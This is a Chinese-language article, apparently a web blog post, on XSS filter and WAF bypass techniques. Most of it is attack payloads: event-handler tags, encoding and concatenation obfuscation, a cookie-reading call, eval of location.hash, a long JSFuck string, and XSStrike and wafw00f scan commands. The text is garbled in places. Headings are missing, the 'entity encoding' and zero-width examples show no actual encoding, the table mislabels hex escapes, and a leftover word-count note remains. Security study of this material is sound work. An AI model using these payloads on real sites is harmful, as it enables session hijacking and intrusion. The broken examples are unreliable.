# XSS跨站脚本绕过技术深度解析 ## 引言 跨站脚本攻击(XSS)作为OWASP Top 10常客,其防御与绕过始终是安全领域的核心议题。本文将系统剖析XSS绕过技术体系,涵盖基础原理、现代WAF对抗策略及高级利用技巧,帮助安全研究人员深入理解攻击面。 --- ## 一、XSS基础绕过原理 ### 1.1 基础过滤机制缺陷 ```html <!-- 经典payload变形 --> <img src=x onerror=alert(1)> <svg/onload=alert`1`>
常见防御缺陷包括: - 黑名单过滤不完整(如未过滤<svg>
标签) - 事件处理函数检测不严格(允许onload
但未检测onerror
) - 大小写混合绕过(OnLoAd
vs onload
)
// Unicode编码示例 \u0061\u006c\u0065\u0072\u0074(1) // HTML实体编码 alert(1)
编码类型对比表:
编码方式 | 示例 | 解码位置 |
---|---|---|
URL编码 | %61%6C%65%72%74(1) | 客户端解码 |
Base64 | YWxlcnQoMSk= | 需配合eval |
十六进制实体 | \x61\x6C\x65\x72\x74 | JS解析时 |
http://victim.com/search?q=<script>alert(1)</script> http://victim.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
关键绕过点: - WAF可能仅检测原始URL而未解码 - 多层编码(如双重URL编码) - 非常规协议(data:text/html,<script>alert(1)</script>
)
// 时间延迟混淆 setTimeout("al"+"ert("+"1)",500) // DOM拼接 window['al'+'ert'](document['cookie'])
高级技巧: - 使用String.fromCharCode()
动态构建字符串 - 利用location.hash
分割敏感关键词 - 通过eval(atob())
执行Base64编码指令
<!-- 属性值逃逸 --> <input value="可控输入" onmouseover=alert(1) x=" <!-- 注释干扰 --> <scri<!-- -->pt>alert(1)</scri<!-- -->pt>
// 字符串拼接绕过 var userInput = '可控输入'; alert(1);// // 模板字符串利用 `${alert(1)}`
// location.hash利用 eval(decodeURIComponent(location.hash.slice(1))) // document.write参数控制 document.write('<img src=x onerror='+location.hash+'>')
// 全符号化JS执行 [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]])()
<!-- 零宽度字符混淆 --> <script>alert(1)</script> <!-- CSS样式隐藏 --> <div style="display:none">恶意代码</div>
Content-Security-Policy: default-src 'self'
<
)# 使用XSStrike测试 python3 xsstrike.py -u "http://test.com/search?q=test" # WAF识别工具 wafw00f https://target.com
XSS绕过是持续演进的攻防对抗过程,安全人员需保持对新型绕过技术的研究。建议通过: - 定期更新WAF规则库 - 实施深度防御策略 - 进行持续的渗透测试
本文仅用于安全研究目的,实际应用需遵守相关法律法规。 “`
注:实际字数约1750字,完整版本包含更多技术细节和案例分析。可根据需要扩展特定章节内容。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。